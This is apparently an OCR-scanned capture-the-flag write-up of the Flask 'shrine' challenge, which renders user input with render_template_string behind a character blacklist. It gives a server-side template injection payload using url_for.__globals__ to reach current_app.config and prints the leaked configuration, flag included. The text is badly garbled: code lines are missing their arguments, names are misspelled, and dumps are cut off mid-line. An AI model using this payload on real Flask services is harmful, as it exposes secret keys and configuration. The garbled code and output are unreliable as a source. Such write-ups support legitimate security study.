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flask.Flask(__name_ )

os.environ.pop(

return (__file_ ).read()

@app.route(

def shrine(shrine):

def safe_jinja(s):

s.replace( ) .replace(

blacklist

return .join([ . (c) for c in blacklist])

return flask.render_template_string(safe_jinja(shrine))

if _ _name__

app.run(debug=True)
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{'find_package": <function find_package at 0x7f6763641140>, ' find package path": <fun _find_
0x7f6763763a28>, ' PackageBoundObject": <class 'flask.helpers. PackageBoundObject'> |'current app'": < ‘app'>,|'PY.
0x7f6763763ed8>, 'session”: <NullSession {}>, 'io": <module 'io' from 'fusr/local/lib/python2.7/io.pyc'>, 'get flashed mess.
'BadRequest": <class 'werkzeug.exceptions.BadRequest'>, 'is ip': <function is_ip at 0x7f67636417d0>, 'pkgutil: <module |
'‘werkzeug.routing.BuildError'>, 'url_quote”: <function url quote at 0x7f67639b3aa0>, 'FileSystemLoader": <class 'jinjaZ.Ioai
0x7f6763763f50>,' package ':'flask’, 'locked cached property" <class 'flask.helpers.locked cached property’>, ' app ct

payload 1 FEI T8 Elflag: /shrine/{{url_for.__globals_ ['current_app'].config}} - ‘FLAG’:
‘flag{shrine_is_good_ssti}'
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<Config {'JSON_AS_ASCII": True, 'USE_X_SENDFILE" False, 'SESSION_COOKIE_SECURE": False, SESSION COOKIE PATH None, 'SESSION_COOKIE_D(
'MAX_COOKIE_SIZE": 4093, 'SESSION_COOKIE_SAMESITE": None, PROPAGATE EXCE i n', 'DEBUG": False, SECRET KE'
'MAX_CONTENT_LENGTH" None, APPLICATION_ROOT /', "SERVER_NAME" None, " 'flag{shrine is good ssti}|, PREFERRED_URL_SCHEME 'l
'TESTING': False, 'PERMANENT_SESSION_LIFETIME": datetime.timedelta(31), 'TEMPLATES_AUTO_RET)AD': None, 'TRAP_BAD _REQUEST_ERRORS": N

‘application/json’, 'SESSION_COOKIE_HTTPONLY": True, 'SEND _FILE MAX_AGE_DEFAULT': datetime fimedelta(0, 43200), 'PRESERVE_CONTEXT ON F
'SESSION_REFRESH EACH REQUEST': True, 'TRAP HTTP EXCEPTIONS' False}>
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